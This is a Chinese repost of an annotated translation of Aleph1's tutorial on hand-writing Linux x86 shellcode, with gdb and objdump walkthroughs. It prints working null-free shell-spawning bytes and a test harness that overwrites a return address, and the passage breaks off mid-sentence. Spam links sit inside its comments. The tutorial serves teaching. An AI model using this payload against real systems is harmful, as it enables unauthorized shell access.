书写Linux下自己的shellcode(经典回放)

linux下shellcode编写手册 这是一本英文书籍,详细介绍了栈的结构,如何编制程序进行缓冲区溢出 立即下载

<!--StartFragment-->书写Linux下自己的shellcode

发布日期: 2000-1-25
内容:
--------------------------------------------------------------------------------


原    作:aleph1 <>
翻译注释:warning3  1999/07
验证修改:scz  2000/01/13

概述:

    aleph1书写了这篇经典文章,首先要向他致敬。
    tt整理翻译了它,其次就是要向他表示衷心的感谢。

    该篇文章由浅入深地详细介绍了整个书写shellcode的步骤,
    并给出了图示帮助理解。文章中涉及到了一些工具的使用,
    要求具备汇编语言、编译原理的基础知识,如果你对此不
    了解的话,我建议你不要看下去,而是应该回头学习更基础
    的东西。gdb、objdump、vi、gcc等等工具你必须学会使用,
    你必须了解call命令、int命令与普通jmp命令的区别所在,
    你还应该知道函数从c语言编译到机器码时做了什么工作。
    如果所有的这一切都不成问题,你可以开始了。
    come on,baby!

测试:

    RedHat 6.0/Intel PII

目录:

    ★ 让我们开始吧

        1.  vi shellcode.c
        2.  gcc -o shellcode -ggdb -static shellcode.c
        3.  gdb shellcode
        4.  研究 main() 函数的汇编代码
        5.  研究 execve() 函数的执行过程
        6.  vi shellcode_exit.c
        7.  gcc -o shellcode_exit -static shellcode_exit.c
        8.  gdb shellcode_exit
        9.  研究 exit() 函数的执行过程
        10. 整个过程的伪汇编代码
        11. 观察堆栈分布情况
        12. 修改后的伪汇编代码
        13. 调整汇编代码
        14. 观察当前堆栈
        15. vi shellcodeasm.c
        16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c
        17. gdb shellcodeasm
        18. 验证shellcode
        19. 最后的调整
        20. 验证最后调整得到的shellcode

    ★ 我对shellcode以及这篇文章的看法

        1. 你是从DOS年代过来的吗?
        2. 关于文章中的一些技术说明
        3. 如何写Sun工作站上的shellcode?

★ 让我们开始吧

1. vi shellcode.c

#include
int main ( int argc, char * argv[] )
{
    char * name[2];
    name[0] = "/bin/ksh";
    name[1] = NULL;
    execve( name[0], name, NULL );
    return 0;
}

2. gcc -o shellcode -ggdb -static shellcode.c

3. gdb shellcode

[scz@ /home/scz/src]> gdb shellcode
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main <-- -- -- 输入
Dump of assembler code for function main:
0x80481a0 :       pushl  %ebp
0x80481a1 :     movl   %esp,%ebp
0x80481a3 :     subl   $0x8,%esp
0x80481a6 :     movl   $0x806f308,0xfffffff8(%ebp)
0x80481ad :    movl   $0x0,0xfffffffc(%ebp)
0x80481b4 :    pushl  $0x0
0x80481b6 :    leal   0xfffffff8(%ebp),%eax
0x80481b9 :    pushl  %eax
0x80481ba :    movl   0xfffffff8(%ebp),%eax
0x80481bd :    pushl  %eax
0x80481be :    call   0x804b9b0 <__execve>
0x80481c3 :    addl   $0xc,%esp
0x80481c6 :    xorl   %eax,%eax
0x80481c8 :    jmp    0x80481d0
0x80481ca :    leal   0x0(%esi),%esi
0x80481d0 :    leave
0x80481d1 :    ret
End of assembler dump.
(gdb) disas __execve <-- -- -- 输入
Dump of assembler code for function __execve:
0x804b9b0 <__execve>:   pushl  %ebx
0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx
0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx
0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx
0x804b9bd <__execve+13>:        movl   $0xb,%eax
0x804b9c2 <__execve+18>:        int    $0x80
0x804b9c4 <__execve+20>:        popl   %ebx
0x804b9c5 <__execve+21>:        cmpl   $0xfffff001,%eax
0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>
0x804b9d0 <__execve+32>:        ret
End of assembler dump.

4. 研究 main() 函数的汇编代码

0x80481a0 :       pushl  %ebp      # 保存原来的栈基指针
                                         # 栈基指针与堆栈指针不是一个概念
                                         # 栈基指针对应栈底,堆栈指针对应栈顶
0x80481a1 :     movl   %esp,%ebp # 修改得到新的栈基指针
                                         # 与我们以前在dos下汇编格式不一样
                                         # 这个语句是说把esp的值赋给ebp
                                         # 而在dos下,正好是反过来的,一定要注意
0x80481a3 :     subl   $0x8,%esp # 堆栈指针向栈顶移动八个字节
                                         # 用于分配局部变量的存储<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>
                                         # 这里具体就是给 char * name[2] 预留<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>
                                         # 因为每个字符指针占用4个字节,总共两个指针
0x80481a6 :     movl   $0x806f308,0xfffffff8(%ebp)
                                         # 将字符串"/bin/ksh"的地址拷贝到name[0]
                                         # name[0] = "/bin/ksh";
                                         # 0xfffffff8(%ebp) 就是 ebp - 8 的意思
                                         # 注意堆栈的增长方向以及局部变量的分配方向
                                         # 先分配name[0]后分配name[1]的<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>
0x80481ad :    movl   $0x0,0xfffffffc(%ebp)
                                         # 将NULL拷贝到name[1]
                                         # name[1] = NULL;
0x80481b4 :    pushl  $0x0
                                         # 按从右到左的顺序将execve()的三个参数依次压栈
                                         # 首先压入 NULL (第三个参数)
                                         # 注意pushl将压入一个四字节长的0
0x80481b6 :    leal   0xfffffff8(%ebp),%eax
                                         # 将 ebp - 8 本身放入eax寄存器中
                                         # leal的意思是取地址,而不是取值
0x80481b9 :    pushl  %eax      # 其次压入 name
0x80481ba :    movl   0xfffffff8(%ebp),%eax
0x80481bd :    pushl  %eax      # 将 ebp - 8 本身放入eax寄存器中
                                         # 最后压入 name[0]
                                         # 即 "/bin/ksh" 字符串的地址
0x80481be :    call   0x804b9b0 <__execve>
                                         # 开始调用 execve()
                                         # call指令首先会将返回地址压入堆栈
0x80481c3 :    addl   $0xc,%esp
                                         # esp + 12
                                         # 释放为了调用 execve() 而压入堆栈的内容
0x80481c6 :    xorl   %eax,%eax
0x80481c8 :    jmp    0x80481d0
0x80481ca :    leal   0x0(%esi),%esi
0x80481d0 :    leave
0x80481d1 :    ret

5. 研究 execve() 函数的执行过程

Linux在寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式(int $0x80)

0x804b9b0 <__execve>:   pushl  %ebx      # ebx压栈
0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx
                                         # 把 esp + 16 本身赋给edx
                                         # 为什么是16,因为栈顶现在是ebx
                                         # 下面依次是返回地址、name[0]、name、NULL
                                         # edx --> NULL
0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx
                                         # 把 esp + 12 本身赋给 ecx
                                         # ecx --> name
                                         # 命令的参数数组,包括命令自己
0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx
                                         # 把 esp + 8 本身赋给 ebx
                                         # ebx --> name[0]
                                         # 命令本身,"/bin/ksh"
0x804b9bd <__execve+13>:        movl   $0xb,%eax
                                         # 设置eax为0xb,这是syscall表中的索引
                                         # 0xb对应execve
0x804b9c2 <__execve+18>:        int    $0x80
                                         # 软件中断,转入kernel模式
0x804b9c4 <__execve+20>:        popl   %ebx
                                         # 恢复ebx
0x804b9c5 <__execve+21>:        cmpl   $0xfffff001,%eax
0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>
                                         # 判断返回值,报告可能的系统调用错误
0x804b9d0 <__execve+32>:        ret      # execve() 调用返回
                                         # 该指令会用压在堆栈中的返回地址

从上面的分析可以看出,完成 execve() 系统调用,我们所要做的不过是这么几项而已:

    a) 在内存中有以NULL结尾的字符串"/bin/ksh"
    b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值
    c) 将0xb拷贝到寄存器EAX中
    d) 将"/bin/ksh"的地址拷贝到寄存器EBX中
    e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中
    f) 将 NULL 拷贝到寄存器EDX中
    g) 执行中断指令int $0x80

如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
是随机的,通常这个程序会core dump。我们希望如果execve调用失败的话,程序可以正
常退出,因此我们必须在execve调用后增加一个exit系统调用。它的C语言程序如下:

6. vi shellcode_exit.c

#include
int main ()
{
    exit( 0 );
}

7. gcc -o shellcode_exit -static shellcode_exit.c

8. gdb shellcode_exit

[scz@ /home/scz/src]> gdb shellcode_exit
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas _exit <-- -- -- 输入
Dump of assembler code for function _exit:
0x804b970 <_exit>:      movl   %ebx,%edx
0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx
0x804b976 <_exit+6>:    movl   $0x1,%eax
0x804b97b <_exit+11>:   int    $0x80
0x804b97d <_exit+13>:   movl   %edx,%ebx
0x804b97f <_exit+15>:   cmpl   $0xfffff001,%eax
0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>
End of assembler dump.

9. 研究 exit() 函数的执行过程

我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出码放
入EBX中,然后执行"int $0x80"。大部分程序正常退出时返回0值,我们也在EBX中放入0。
现在我们所要完成的工作又增加了三项:

    a) 在内存中有以NULL结尾的字符串"/bin/ksh"
    b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值
    c) 将0xb拷贝到寄存器EAX中
    d) 将"/bin/ksh"的地址拷贝到寄存器EBX中
    e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中
    f) 将 NULL 拷贝到寄存器EDX中
    g) 执行中断指令int $0x80
    h) 将0x1拷贝到寄存器EAX中
    i) 将0x0拷贝到寄存器EBX中
    j) 执行中断指令int $0x80

10. 整个过程的伪汇编代码

下面我们用汇编语言完成上述工作。我们把"/bin/ksh"字符串放到代码的后面,并且会
把字符串的地址和NULL加到字符串的后面:

------------------------------------------------------------------------------
movl   string_addr,string_addr_addr    #将字符串的地址放入某个内存单元中
movb   $0x0,null_byte_addr             #将null放入字符串"/bin/ksh"的结尾
movl   $0x0,null_addr                  #将NULL放入某个内存单元中
movl   $0xb,%eax                       #将0xb拷贝到EAX中
movl   string_addr,%ebx                #将字符串的地址拷贝到EBX中
leal   string_addr_addr,%ecx           #将存放字符串地址的地址拷贝到ECX中
leal   null_string,%edx                #将存放NULL的地址拷贝到EDX中
int    $0x80                           #执行中断指令int $0x80 (execve()完成)
movl   $0x1, %eax                      #将0x1拷贝到EAX中
movl   $0x0, %ebx                      #将0x0拷贝到EBX中
int    $0x80                           #执行中断指令int $0x80 (exit(0)完成)
/bin/ksh string goes here.             #存放字符串"/bin/ksh"
------------------------------------------------------------------------------

11. 观察堆栈分布情况

现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中
的确切位置。一种解决的方法是用一个jmp和call指令。jmp和call指令可以用IP相关寻址,
也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值。如果我们将call指令放在字符串"/bin/ksh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈。我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中。假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/ksh",那么我们执行的顺序就象下图所示:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
栈顶                                                              栈底

sfp  : 栈基指针
ret  : 返回地址
a,b,c: 函数入口参数

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode
   的起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行

12. 修改后的伪汇编代码

经过上述修改后,我们的汇编代码变成了下面的样子:

------------------------------------------------------------------------------
jmp    offset-to-call           # 3 bytes 1.首先跳到call指令处去执行
popl   %esi                     # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,array-offset(%esi)  # 3 bytes 4.将字符串地址拷贝到字符串后面
movb   $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
movl   $0x0,null-offset(%esi)   # 7 bytes 6.将null长字放到字符串地址的地址后面
movl   $0xb,%eax                # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx                # 2 bytes 8.将字符串地址拷贝到EBX中
leal   array-offset(%esi),%ecx  # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   null-offset(%esi),%edx   # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80                    # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax               # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx               # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80                    # 2 bytes 14.调用中断int $0x80
call   offset-to-popl           # 5 bytes 2.将返回地址压栈,跳到popl处执行
/bin/ksh string goes here.
------------------------------------------------------------------------------

13. 调整汇编代码

计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到
null串的偏移量,我们得到下面的程序:

------------------------------------------------------------------------------
jmp    0x2a               # 3 bytes 1.首先跳到call指令处去执行
popl   %esi               # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,0x9(%esi)     # 3 bytes 4.将字符串地址拷贝到字符串后面
movb   $0x0,0x8(%esi)     # 4 bytes 5.将null字节放到字符串尾部
movl   $0x0,0xd(%esi)     # 7 bytes 6.将null长字放到字符串地址后
movl   $0xb,%eax          # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx          # 2 bytes 8.将字符串地址拷贝到EBX中
leal   0x9(%esi),%ecx     # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   0xd(%esi),%edx     # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80              # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax         # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx         # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80              # 2 bytes 14.调用中断int $0x80
call   -0x2f              # 5 bytes 2.将返回地址压栈,跳到popl处执行
.string /"/bin/ksh/"      # 9 bytes
------------------------------------------------------------------------------

14. 观察当前堆栈

当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:

   |........ |
   |---------|0xbfffc5f0  %esi         字符串地址
   |   '/'   |
   |---------|
   |   'b'   |
   |---------|
   |   'i'   |
   |---------|
   |   'n'   |
   |---------|
   |   '/'   |
   |---------|
   |   'k'   |
   |---------|
   |   's'   |
   |---------|
   |   'h'   |
   |---------|0xbfffc5f8  0x8(%esi) null字节的地址
   |    0    |
   |---------|0xbfffc5f9  0x9(%esi) 存放字符串指针的地址 即name[0] 大小是4个字节
   |   0xbf  |
   |---------|注: 这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序。
   |   0xff  |    我没有验证过,只是为了说明问题,简单的这么写了一下。
   |---------|
   |   0xc5  |
   |---------|
   |   0xf0  |
   |---------|0xbfffc5fd  0xd(%esi) 空串的地址 即name[1] 大小是4个字节
   |    0    |
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|
   | ....... |

15. vi shellcodeasm.c

为了证明它能正常工作,我们必须编译并运行它。但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它,可以将代码放到数据段的一个全局
数组中。首先需要得到二进制码的16进制形式,可以先编译,然后用GDB得到我们所要的东西

int main ()
{
    __asm__
    ("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        movb   $0x0,0x8(%esi)           # 4 bytes
        movl   $0x0,0xd(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string /"/bin/ksh/"            # 9 bytes
    ");
}

16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c

17. gdb shellcodeasm

[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048398 :       pushl  %ebp
0x8048399 :     movl   %esp,%ebp
0x804839b :     jmp    0x80483c7
0x804839d :     popl   %esi
0x804839e :     movl   %esi,0x9(%esi)
0x80483a1 :     movb   $0x0,0x8(%esi)
0x80483a5 :    movl   $0x0,0xd(%esi)
0x80483ac :    movl   $0xb,%eax
0x80483b1 :    movl   %esi,%ebx
0x80483b3 :    leal   0x9(%esi),%ecx
0x80483b6 :    leal   0xd(%esi),%edx
0x80483b9 :    int    $0x80
0x80483bb :    movl   $0x1,%eax
0x80483c0 :    movl   $0x0,%ebx
0x80483c5 :    int    $0x80
0x80483c7 :    call   0x804839d
0x80483cc :    das
0x80483cd :    boundl 0x6e(%ecx),%ebp
0x80483d0 :    das
0x80483d1 :    imull  $0x0,0x68(%ebx),%esi
0x80483d5 :    leave
0x80483d6 :    ret
End of assembler dump.
(gdb) x/bx main+3 <-- -- -- 输入
0x804839b :     0xeb
(gdb)
0x804839c :     0x2a
(gdb)
...

如此下去即可得到完整的机器码。
但是我们不必如此罗嗦,昨天介绍过的objdump今天派上用场了:
objdump -j .text -Sl shellcodeasm | more
/main
得到如下结果:

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398:       55                      pushl  %ebp
8048399:       89 e5                   movl   %esp,%ebp
/home/scz/src/shellcodeasm.c:3
    __asm__
804839b:       eb 2a                   jmp    80483c7
804839d:       5e                      popl   %esi
804839e:       89 76 09                movl   %esi,0x9(%esi)
80483a1:       c6 46 08 00             movb   $0x0,0x8(%esi)
80483a5:       c7 46 0d 00 00 00 00    movl   $0x0,0xd(%esi)
80483ac:       b8 0b 00 00 00          movl   $0xb,%eax
80483b1:       89 f3                   movl   %esi,%ebx
80483b3:       8d 4e 09                leal   0x9(%esi),%ecx
80483b6:       8d 56 0d                leal   0xd(%esi),%edx
80483b9:       cd 80                   int    $0x80
80483bb:       b8 01 00 00 00          movl   $0x1,%eax
80483c0:       bb 00 00 00 00          movl   $0x0,%ebx
80483c5:       cd 80                   int    $0x80
80483c7:       e8 d1 ff ff ff          call   804839d
80483cc:       2f                      das
80483cd:       62 69 6e                boundl 0x6e(%ecx),%ebp
80483d0:       2f                      das
80483d1:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:21
    ("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        movb   $0x0,0x8(%esi)           # 4 bytes
        movl   $0x0,0xd(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string /"/bin/ksh/"            # 9 bytes
    ");
}
80483d5:       c9                      leave
80483d6:       c3                      ret
80483d7:       90                      nop

整理shellcode如下:

eb 2a 5e 89 76 09 c6 46 08 00 c7 46 0d 00 00 00 00 b8 0b 00
00 00 89 f3 8d 4e 09 8d 56 0d cd 80 b8 01 00 00 00 bb 00 00
00 00 cd 80 e8 d1 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

18. 验证shellcode

vi shelltest.c

char shellcode[] =
    "/xeb/x2a/x5e/x89/x76/x09/xc6/x46/x08/x00/xc7/x46/x0d/x00/x00/x00/x00/xb8/x0b/x00"
    "/x00/x00/x89/xf3/x8d/x4e/x09/x8d/x56/x0d/xcd/x80/xb8/x01/x00/x00/x00/xbb/x00/x00"
    "/x00/x00/xcd/x80/xe8/xd1/xff/xff/xff/x2f/x62/x69/x6e/x2f/x6b/x73/x68/x00/xc9/xc3";

int main ()
{
    int * ret;  /* 当前esp指向的地址保存ret的值 */

    ret      = ( int * )&ret + 2;  /* 得到 esp + 2 * 4,那是返回地址IP */
    ( *ret ) = ( int )shellcode;  /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

那说明一切都成功了!为了帮助你理解,我们还是来看看这段程序究竟做了什么:

objdump -j .text -Sl shelltest | more
/main
得到如下结果:

08048398 :
main():
8048398:       55                      pushl  %ebp
8048399:       89 e5                   movl   %esp,%ebp
804839b:       83 ec 04                subl   $0x4,%esp             # 给局部变量预留<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>
804839e:       8d 45 fc                leal   0xfffffffc(%ebp),%eax # ebp - 4 => eax
                                                                     # 取了栈顶指针
                                                                     # 为什么不直接用esp赋值?
80483a1:       8d 50 08                leal   0x8(%eax),%edx        # eax + 8 => edx
                                                                     # edx现在指向IP
80483a4:       89 55 fc                movl   %edx,0xfffffffc(%ebp) # edx     => [ ebp - 4 ]
                                                                     # 把IP的地址放入局部变量中
80483a7:       8b 45 fc                movl   0xfffffffc(%ebp),%eax # ebp - 4 => eax
                                                                     # eax现在保存着IP的地址
80483aa:       c7 00 40 94 04 08       movl   $0x8049440,(%eax)     # 修改了返回地址
80483b0:       c9                      leave
80483b1:       c3                      ret
80483b2:       90                      nop

19. 最后的调整

它现在工作了,但还有个小问题。大多数情况下我们都是试图overflow一个字符型
buffer,因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了。因此要使exploit工作,shellcode中不能有null字节,我们可以略微调整一
下代码:

有问题的指令                替代指令
--------------------------------------------------------
movb   $0x0,0x8(%esi)       xorl   %eax,%eax
movl   $0x0,0xd(%esi)       movb   %eax,0x8(%esi)
                            movl   %eax,0xd(%esi)
--------------------------------------------------------
movl   $0xb,%eax            movb   $0xb,%al
--------------------------------------------------------
movl   $0x1, %eax           xorl   %ebx,%ebx
movl   $0x0, %ebx           movl   %ebx,%eax
                            inc    %eax
--------------------------------------------------------

我们改进后的代码如下:

vi shellcodeasm.c

int main ()
{
    __asm__
    ("
        jmp    0x1f                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movl   %eax,0xd(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string /"/bin/ksh/"            # 9 bytes
                                        # 48 bytes total
    ");
}

[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048398 :       pushl  %ebp
0x8048399 :     movl   %esp,%ebp
0x804839b :     jmp    0x80483bc
0x804839d :     popl   %esi
0x804839e :     movl   %esi,0x9(%esi)
0x80483a1 :     xorl   %eax,%eax
0x80483a3 :    movb   %al,0x8(%esi)
0x80483a6 :    movl   %eax,0xd(%esi)
0x80483a9 :    movb   $0xb,%al
0x80483ab :    movl   %esi,%ebx
0x80483ad :    leal   0x9(%esi),%ecx
0x80483b0 :    leal   0xd(%esi),%edx
0x80483b3 :    int    $0x80
0x80483b5 :    xorl   %ebx,%ebx
0x80483b7 :    movl   %ebx,%eax
0x80483b9 :    incl   %eax
0x80483ba :    int    $0x80
0x80483bc :    call   0x804839d
0x80483c1 :    das
0x80483c2 :    boundl 0x6e(%ecx),%ebp
0x80483c5 :    das
0x80483c6 :    imull  $0x0,0x68(%ebx),%esi
0x80483ca :    leave
0x80483cb :    ret
End of assembler dump.
(gdb)

objdump -j .text -Sl shellcodeasm | more
/main
得到如下结果:

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398:       55                      pushl  %ebp
8048399:       89 e5                   movl   %esp,%ebp
/home/scz/src/shellcodeasm.c:3
    __asm__
804839b:       eb 1f                   jmp    80483bc
804839d:       5e                      popl   %esi
804839e:       89 76 09                movl   %esi,0x9(%esi)
80483a1:       31 c0                   xorl   %eax,%eax
80483a3:       88 46 08                movb   %al,0x8(%esi)
80483a6:       89 46 0d                movl   %eax,0xd(%esi)
80483a9:       b0 0b                   movb   $0xb,%al
80483ab:       89 f3                   movl   %esi,%ebx
80483ad:       8d 4e 09                leal   0x9(%esi),%ecx
80483b0:       8d 56 0d                leal   0xd(%esi),%edx
80483b3:       cd 80                   int    $0x80
80483b5:       31 db                   xorl   %ebx,%ebx
80483b7:       89 d8                   movl   %ebx,%eax
80483b9:       40                      incl   %eax
80483ba:       cd 80                   int    $0x80
80483bc:       e8 dc ff ff ff          call   804839d
80483c1:       2f                      das
80483c2:       62 69 6e                boundl 0x6e(%ecx),%ebp
80483c5:       2f                      das
80483c6:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:24
    ("
        jmp    0x1f                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movl   %eax,0xd(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string /"/bin/ksh/"            # 9 bytes
                                        # 48 bytes total
    ");
}
80483ca:       c9                      leave
80483cb:       c3                      ret
80483cc:       90                      nop

整理shellcode如下:

eb 1f 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b
89 f3 8d 4e 09 8d 56 0d cd 80 31 db 89 d8 40 cd
80 e8 dc ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

20. 验证最后调整得到的shellcode

vi shelltest.c

char shellcode[] =
    "/xeb/x1f/x5e/x89/x76/x09/x31/xc0/x88/x46/x08/x89/x46/x0d/xb0/x0b"
    "/x89/xf3/x8d/x4e/x09/x8d/x56/x0d/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
    "/x80/xe8/xdc/xff/xff/xff/x2f/x62/x69/x6e/x2f/x6b/x73/x68/x00/xc9/xc3";

int main ()
{
    int * ret;  /* 当前esp指向的地址保存ret的值 */

    ret      = ( int * )&ret + 2;  /* 得到 esp + 2 * 4,那是返回地址IP */
    ( *ret ) = ( int )shellcode;  /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题。
你可以根据自己的需要,编写出自己的shellcode来。

★ 我对shellcode以及这篇文章的看法

1. 你是从DOS年代过来的吗?

如果答案肯定,我就不多说了,因为上面通篇实际上并没有超出当年我们
在DOS游戏汇编的范畴,毕竟Linux跑在Intel x86架构上。当发生far call的
时候,cs:ip对被压栈,先是ip后是cs,现在想起来为什么上面的介绍那么地
似曾相识了吧。int发生的时候不过多压了个flag而已。那么far jmp就更不
用多说。回忆,再回忆,回忆那些当年我们为之付出心血的DOS下的汇编语言。
ret、iret、int 3、int 21、int 1,TSR,你还能想起什么尘封了的往事。

通过修改堆栈中的返回地址将程序流程引导到别处,曾经是dos下的家常便饭,
为了防止中断向量被修改,宁可远程call远程跳转也不愿意使用int指令,编写
自己的debug程序,利用int 1的单步,难道你没有修改过堆栈中的返回地址?
为了嵌入那些当前编译器不支持的机器码,用db直接插入机器码。为了提高某些
关键代码的执行效率,使用嵌入式汇编,难道你从来没有看过.s文件?

不再回忆,DOS已是昨天。

2. 关于文章中的一些技术说明

原文是用/bin/sh的,我为了从头实际演练一番,用了/bin/ksh,你要是
乐意可以使用任意的shell。其次,可能是原文有误,要么是翻译中书写错误,
反正是有那么几处错误,我都一一调整过来了。原文是用gdb那样获得完整的
shellcode的,而我昨天刚刚介绍了objdump的使用,所以也可以利用objdump
获得shellcode,上文中已经多次给出了完整的命令。

最后的shelltest,我给加上了注释,因为你可能看到最后没有理解shellcode
如何被执行的。因为c编译器给main()函数前后都加了启动结束代码,main()
函数也是被调用的,也有自己的返回地址,所以程序中修改main()的返回地址
使得shellcode被执行。所以,你不能在main()函数的最后调用exit(0)。因为
函数的形式参数先于返回地址压栈,所以即使成了
